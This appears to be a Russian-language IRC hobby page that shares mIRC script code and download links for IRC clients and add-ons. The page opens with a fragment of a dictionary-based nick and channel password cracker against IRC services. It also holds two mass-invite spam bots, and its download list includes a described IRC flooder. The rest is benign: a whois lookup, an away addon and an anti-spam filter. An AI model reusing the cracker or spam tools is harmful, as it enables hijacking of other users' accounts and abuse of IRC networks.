<PC>4,1 -Sifre hack- noneaktiv edildi.. } #crack.nick on on 1:NOTICE:*Password accepted for $me *:*:/halt on 1:NOTICE:*That nick isn't registered*:*:/echo 4 <PC>4,1 Hack etmek istediyiniz nick registrasiya olunmayib. Cracklar dayandirildi | /timer500 off | /disable #crack.nick | /unset crack.nic* on 1:NOTICE:*Password accepted for*:*:{ /timer500 off /clear /beep /echo 4 <PC>4,1 A password was accepted for %crack.nick , the password is | /dec %crack.nick.line 1 | /echo 4 $read -l $+ %crack.nick.line %crack.nick.dic , Everything has been reset, u ended on | /inc %crack.nick.line 1 | /echo 4 line %crack.nick.line incase some thing went wrong. | disable #crack.nick /beep /unset %crack.nic* } #crack.nick end #crack.chan off on 1:NOTICE:*That channel isn't registered*:*:/echo 4 *** Hack etmek istediyiniz kanal registrasiya olunmayib ,butun crackardan vaz kecildi. | /timer501 off | /disable #crack.chan | /unset crack.cha* on 1:NOTICE:*Password accepted for channel*:*:{ /timer501 off /clear /beep /echo 4 *** A password was accepted for %crack.chan , the password is | /dec %crack.chan.line 1 | /echo 4 $read -l $+ %crack.chan.line %crack.chan.dic , Everything has been reset, u ended on | /inc %crack.chan.line 1 | /echo 4 line %crack.chan.line incase some thing went wrong. | disable #crack.chan /beep /unset %crack.cha* } #crack.chan end on everyone:LOAD: { echo 4 <PC>0,2 -Sifre hack- yazildi.... By PC echo 4 <PC>0,2Bu Add-on /NICK PC adi Babek terefinden yazilmisdir. }

INTERNIC

; Domain Lookup for mIRC v6.01 ; Created by Dylan [dyl4n@hotmail.com] ; Use: /internic domain.com alias internic { dialog -m internic internic } dialog internic { title "Domain Lookup" size -1 -1 211 132 option dbu box "", 1, 2 0 207 130 text "Domain:", 3, 7 10 21 8 edit "", 4, 27 7 89 11, autohs button "Go", 5, 118 8 16 9, flat button "Exit", 6, 180 8 24 9, flat ok edit "", 2, 6 20 199 106, read multi vsbar } on 1:dialog:internic:sclick:*:{ if ($did == 5) { internic.lookup $did(internic,4) } if ($did == 6) { unset %internic.* } } alias internic.lookup { if (!$1) { return } else { sockopen internic rs.internic.net 43 set %internic.temp $1 } } on 1:sockopen:internic:{ if $sockerr > 0 { did -ra internic 2 *** Error connecting to rs.internic.net $crlf | halt } sockwrite -n internic whois %internic.temp did -ra internic 2 } on 1:sockread:internic:{ sockread %internic.read if (!%internic.read) { return } did -a internic 2 %internic.read $crlf } To Use: Type /internic

1 Приглашатель

alias settings { echo -s 4Stats echo -s 4Halt Delay 15(09 $+ $duration(%delay) $+ 15) echo -s 4Send Max Messages To Send Before Halt 15(09 $+ %maxinvites $+ 15) echo -s 4Message ( $+ %message $+ ) return } alias reset { set %invite 0 set %inviting Yes unset %temp* set %inviting Yes echo -s $inviter 4Reset Complete } alias start { set %inviting Yes set %invite 0 .timer 1 2 set %inviting Yes echo -s $inviter 4Resuming Invite stats } on 1:join:#: { If (%inviting == Off) { halt } if ($nick == $me) { halt } :top if (%invite == %maxinvites) { if ($timer(start) == 1) { halt } set %inviting Off | .timerstart -c 1 %delay start echo -s $inviter 4Limit Reched (09 $+ %maxinvites $+ 15)7 Stoping Invites. Resuming in 15(09 $+ %delay $+ 15) 7Seconds. Total lamers invited so far 15(09 $+ %invitedpeople $+ 15) stats halt } if ($timer($nick) !== $null) { halt } if (%temp. [ $+ [ $nick ] ] == invited) { halt } set %temp. [ $+ [ $Nick ] ] invited .timer [ $+ [ $nick ] ] 1 15 .msg $nick %message $inviter inc %invitedpeople 1 inc %invite 1 echo -s 7,1Inviting 15(9 $+ $nick $+ 15)7 They joined 15(9 $+ $chan $+ 15)7 Number 15(13 $+ %invitedpeople $+ 15) if (%invite == %maxinvites) { goto top } stats } on 1:op:#: { if ($timer($opnick) == $null) { halt } .timer [ $+ [ $opnick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $opnick $+ 15)4 Stoped!7 They were oped in 15(9 $+ $chan $+ 15) stats } } on 1:voice:#: { if ($timer($vnick) == $null) { halt } .timer [ $+ [ $vnick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $vnick $+ 15)4 Stoped!7 They were voiced in 15(9 $+ $chan $+ 15) stats } } on 1:quit: { if ($nick == me) { titlebar Disconnected... | halt } if ($timer($nick) == $null) { halt } .timer [ $+ [ $nick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $nick $+ 15)4 Stoped!7 They Quit IRC stats } } on 1:nick: { if ($timer($nick) == $null) { halt } .timer [ $+ [ $nick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $nick $+ 15)4 Stoped!7 They Changed There Nickname Too 15(9 $+ $newnick $+ 15) stats } } alias stats { titlebar < Inviter Bot > Total People Invited: %invitedpeople Invites %invite $+ / $+ %maxinvites Channels ( $+ $chan(0) $+ ) Currently Inviting: %inviting } on 1:disconnect: titlebar Disconnected... on 1:connect: { reset set %invite 0 set %inviting on .timerstats 0 5 stats } on 1:start: { .enable #invite set %invite 0 echo -s 3Salam bu inviteri secdiyana gora cox shadam.. echo -s 3Bu inviter-la kalan adam yigarsan echo -s 3Sanin sualin olsa Ali-150@box.az e-mail-ina gondar va man cavabini veraram echo -s 3San inviter botu ila cox reklam elama.. Hansi serverlar da ki gadagandir inviter ishladma echo -s 3Mani #kontakt kanalinda da tapa bilarsan settings unset %temp* } on 1:load: { .disconnect reset set %invite 0 set %maxinvites 35 set %invitedpeople 0 set %inviting Yes set %delay 60 set %message Change Me .enable #invite echo -a 4mIRC32 inviter. Use wisly :) echo -a 4Now Ignoring Everyone, you should use this in a seprate copy of mirc echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt .ignore *!*@* } alias inviter { if ($1 == version) { set %version return %version halt } if ($1 == author) { set %author 4By GraF return %author halt } if ($1 == $null) { set %scriptname Inviter return %scriptname } } menu menubar { Inviter Bot Invites To Send Before Rest ( $+ %maxinvites $+ ):set %maxinvites $?="Enter Max Inviters" Delay ( $+ %delay $+ ):set %delay $?="Enter Delay Before Restart example 60" Message:set %message $?="Enter New Message" | echo -s 7,1Message 15(9 $+ %message $+ 15) - Reset:reset Settings:settings - Un Install:{ titlebar timers off echo -s 7,1UnInstall Complete :) .unload -rs inviter.mrc } } menu channel { Show Stats To Channel: msg $chan $inviter $inviter(version) $inviter(author) People Invited 15(09 $+ %invitedpeople $+ 15) 8On 15(09 $+ $chan(0) $+ 15)8 Channels Currently Inviting 15(09 $+ %inviting $+ 15) Set Invite Message As Topic:topic $chan %message Message Room Invite:msg $chan %message } raw 401:*: { if (%inviting == yes) { dec %invite 1 stats echo -a 7,1Error sending invite to 15(09 $+ $2 $+ 15) 7Aborting } halt }

2 Пригласитель

alias settings { echo -s 4Stats echo -s 4Halt Delay 15(09 $+ $duration(%delay) $+ 15) echo -s 4Send Max Messages To Send Before Halt 15(09 $+ %maxinvites $+ 15) echo -s 4Message ( $+ %message $+ ) return } alias reset { set %invite 0 set %inviting Yes unset %temp* set %inviting Yes echo -s $inviter 4Reset Complete } alias start { set %inviting Yes set %invite 0 .timer 1 2 set %inviting Yes echo -s $inviter 4Resuming Invite stats } on 1:join:#: { If (%inviting == Off) { halt } if ($nick == $me) { halt } :top if (%invite == %maxinvites) { if ($timer(start) == 1) { halt } set %inviting Off | .timerstart -c 1 %delay start echo -s $inviter 4Limit Reched (09 $+ %maxinvites $+ 15)7 Stoping Invites. Resuming in 15(09 $+ %delay $+ 15) 7Seconds. Total lamers invited so far 15(09 $+ %invitedpeople $+ 15) stats halt } if ($timer($nick) !== $null) { halt } if (%temp. [ $+ [ $nick ] ] == invited) { halt } set %temp. [ $+ [ $Nick ] ] invited .timer [ $+ [ $nick ] ] 1 15 .msg $nick %message $inviter inc %invitedpeople 1 inc %invite 1 echo -s 7,1Inviting 15(9 $+ $nick $+ 15)7 They joined 15(9 $+ $chan $+ 15)7 Number 15(13 $+ %invitedpeople $+ 15) if (%invite == %maxinvites) { goto top } stats } on 1:op:#: { if ($timer($opnick) == $null) { halt } .timer [ $+ [ $opnick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $opnick $+ 15)4 Stoped!7 They were oped in 15(9 $+ $chan $+ 15) stats } } on 1:voice:#: { if ($timer($vnick) == $null) { halt } .timer [ $+ [ $vnick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $vnick $+ 15)4 Stoped!7 They were voiced in 15(9 $+ $chan $+ 15) stats } } on 1:quit: { if ($nick == me) { titlebar Disconnected... | halt } if ($timer($nick) == $null) { halt } .timer [ $+ [ $nick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $nick $+ 15)4 Stoped!7 They Quit IRC stats } } on 1:nick: { if ($timer($nick) == $null) { halt } .timer [ $+ [ $nick ] ] off if (%inviting == yes) { dec %invite 1 echo -s 7,1Invite to 15(9 $+ $nick $+ 15)4 Stoped!7 They Changed There Nickname Too 15(9 $+ $newnick $+ 15) stats } } alias stats { titlebar < Inviter Bot > Total People Invited: %invitedpeople Invites %invite $+ / $+ %maxinvites Channels ( $+ $chan(0) $+ ) Currently Inviting: %inviting } on 1:disconnect: titlebar Disconnected... on 1:connect: { reset set %invite 0 set %inviting on .timerstats 0 5 stats } on 1:start: { .enable #invite set %invite 0 echo -s 3Salam bu inviteri secdiyana gora cox shadam.. echo -s 3Bu inviter-la kalan adam yigarsan echo -s 3Sanin sualin olsa Ali-150@box.az e-mail-ina gondar va man cavabini veraram echo -s 3San inviter botu ila cox reklam elama.. Hansi serverlar da ki gadagandir inviter ishladma echo -s 3Mani #kontakt kanalinda da tapa bilarsan settings unset %temp* } on 1:load: { .disconnect reset set %invite 0 set %maxinvites 35 set %invitedpeople 0 set %inviting Yes set %delay 60 set %message Change Me .enable #invite echo -a 4mIRC32 inviter. Use wisly :) echo -a 4Now Ignoring Everyone, you should use this in a seprate copy of mirc echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt echo -a 4Read readme.txt Read readme.txt Read readme.txt Read readme.txt .ignore *!*@* } alias inviter { if ($1 == version) { set %version return %version halt } if ($1 == author) { set %author 4By GraF return %author halt } if ($1 == $null) { set %scriptname :) return %scriptname } } menu menubar { Inviter Bot Invites To Send Before Rest ( $+ %maxinvites $+ ):set %maxinvites $?="Enter Max Inviters" Delay ( $+ %delay $+ ):set %delay $?="Enter Delay Before Restart example 60" Message:set %message $?="Enter New Message" | echo -s 7,1Message 15(9 $+ %message $+ 15) - Reset:reset Settings:settings - Un Install:{ titlebar timers off echo -s 7,1UnInstall Complete :) .unload -rs inviter.mrc } } menu channel { Show Stats To Channel: msg $chan $inviter $inviter(version) $inviter(author) People Invited 15(09 $+ %invitedpeople $+ 15) 8On 15(09 $+ $chan(0) $+ 15)8 Channels Currently Inviting 15(09 $+ %inviting $+ 15) Set Invite Message As Topic:topic $chan %message Message Room Invite:msg $chan %message } raw 401:*: { if (%inviting == yes) { dec %invite 1 stats echo -a 7,1Error sending invite to 15(09 $+ $2 $+ 15) 7Aborting } halt }

Система away

on 1:load:{ echo -- echo mRAway v1.1 away sistemli irc addonu artiq install olundu! echo Addon 23.03.2004 il tarixinde yaradilib. echo Script ekskuliziv olaraq AiN istifadechileri uchun nezerde tutulub. echo Addonu www.ain.chat.az ve ya www.irc.azerifun.com saytlarindan yukleye bilersiniz. echo echo Yaradici: identify (identify@Chat.Az) [ Malik Rashidov ] echo server: /server irc.chat.az:6667 echo -- echo Her bir istifadechi "away" mesaji qoymaq uchun /am nick <mesaj yazisi> yazmalidir.Geriye donerken ise yalniz /am yazmaginiz lazimdir. set %away.nick $me $+ [yoXam] echo Sizin "away" halda oldugunuz nick: %away.nick echo "away" halda oldugunuz zaman nickiniz nece olsun? /awaynick <away nickiniz> echo -- echo -- } alias am { if ($away == $false) { if ($1- == $null) { set %away.reason n/a } else { set %away.reason $1- } scon -a /away %away.reason set %away.time $ctime set %away.nickb4 $me scon -a /ame is now away, reason: %away.reason scon -a /nick %away.nick } else { scon -a /away scon -a /nick %away.nickb4 scon -a /ame is now back, reason: %away.reason - duration: $duration($calc($ctime - %away.time)) } } alias awaynick { set %away.nick $1 echo "away" oldugunuz zaman nickiniz bele olacaq: %away.nick }

Антиспам

;----------------------------------------------------------------------------------------- ; Simin's -Anti Spam- by SiMiN ; This Script Blocks These elements from your query boxes ; "www","http","join","#","xxx" ; To load this script Simply Type : /load -rs nospam.mrc ;----------------------------------------------------------------------------------------- ON 1:LOAD:{ echo -a 9,1- Anit Spam - LOADED & ACTIVE .......... set %CloseWindows on set %Elite on set %spam_msg Stop!You cannot spam me i have , Anti|Spam Don`t message me.- set %Elite2 on set %Elite1 off } on ^1:TEXT:*:?: { if ((*www* iswm $1-) || (*http* iswm $1-) || (*join* iswm $1-) || (*#* iswm $1-) || (*XXX* iswm $1-)) { if (%CloseWindows == on) { close -m $nick } if (%Elite == on) && (%spam_msg != " ") { msg $nick Stop!You cannot spam me i have , Anti|Spam Don`t message me. } if (%Elite2 == on) { ignore $address($nick,2) | echo -s 4Now ignored $nick } halt } } on ^1:INVITE:#:{ if (%Elite == on) && (%spam_msg != " ") { msg $nickStop!You cannot spam me i have , Anti|Spam Don`t message me. } if (%Elite2 == on) { /ignore $address($nick,2) | echo -s 4Now ignored $nick } halt } on 1:CONNECT:echo -a 14,1A.C.T.I.V.E..... | Setup | if (%Elite1 == on) { ignore -r } menu Channel,stats { Simin's -Anti Spam- .Spam ON/OFF ..on:set %CloseWindows on | set %Elite on | set %Elite2 on | set %Elite1 on ..off:set %CloseWindows off | set %Elite off | set %Elite2 off | set %Elite1 off .view current settings:echo -a 14CURRENT SETTINGS ..... | setup } alias Setup { echo -a |----------------------------------------------------------------------------------| echo -a 15,1 Simin's -Anti Spam- by 12SiMiN0 [9email:Simin4@9sonicIRC.cjb.net] echo -a Close spam window:12 %CloseWindows echo -a Clear ignore list on connect:4 %Elite1 echo -a Respond to spammers:12 %Elite echo -a Ignore spammers:12 %Elite2 echo -a Message to spammers:12 " $+ %spam_msg $+ " echo -a |-----------------------------------------------------------------------------------| }

Ещё можете скачать эти скрипты

Но они уже для знающих людей МИРК не менее 3 лет

Operserver

Operator

Services

statistics

Style

Telnet

PortScan

Клиенты и боты

 

Русифицированная версия программы mIRC 6.03.

NmIRC603.exe

 

SyncMaster`s script v2.3 - Это, можно так сказать навал трион. Его отличия от неора трион в том, что он имеет большую менюшку, имеющую как скрипты развлекательного содержания, так и чисто командного: 6 скинов; развлекательные скрипты; 2 вида озвучки; нетребовательность к настройкам и т.п. Если вам не нужен трион, а нужен обычный мирк, не беда, скопируйте эксэшник мирка в папку с трионом, а сам эксешник триона удалите.

 

SyncMasters_script_v2_3.exe

(2,66 MB)

Xarok - Скрипт для IRC на русском языке

xarok4.0.rar

(657 KB)

Левкин Скрипт 5 - Ещё один "русский скрипт", один из лучших.

levscript5rus.zip

(797 KB)

Super Unknown Script - IRC скрипт

SSSetup.exe

(2449 KB)

Murder Script - Ещё один скрипт для IRC

 

murderscript.exe

(2832 KB)

 

Murder Script Pro 1.6 - Последняя версия скрипта

setup.exe

(3384 KB)

Mortal Kombat - Отличный скрипт для тех у кого свой канал на IRC.

AL3AMEED.zip

(1399 KB)

WScript v6.0 - Скрипт от создателя WakBot-a.

 

WSv60.zip

(1,31 M

Типа скрипт для ведения войны в IRC. На самом деле просто прикольный скрипт.

 

Satanist.zip

(815 KB)

 

Cyclone Script - IRC скрипт с кучей функций

cyclonescript2-2.exe

(1494 KB)

Orbit Script 2001 - Неплохой скрипт для IRC

 

orbit2001.exe

(2116 KB)

IRcap 7.0 - Очень оригинальный скрипт. Много разных полезных настроек.

 

ircapn.exe

(360 KB)

Peace and Protection 4.22 - Отличный скрипт. PnP 4.22 полностью настраиваемый, т.о. вам не придётся пользоваться "чужими настройками". Скрипт имеет мощную защиту и очень удобен. К тому же можно выбрать язык: английский или турецкий. (Примечание: скрипт устанавливается поверх mIRC-а).

 

pnp422tr-all.zip

(1,03 MB)

ADLF Flooder - Довольно лёгкий и мощный IRC флудер. Работает как addon, т.е. его нужно загрузить в ваш IRC клиент.

ADLFFlooder.zip

(13,2 KB)

MISHSeen Version 3.50 - Очень хороший seen addon.

mishseen350.zip

НАЗАД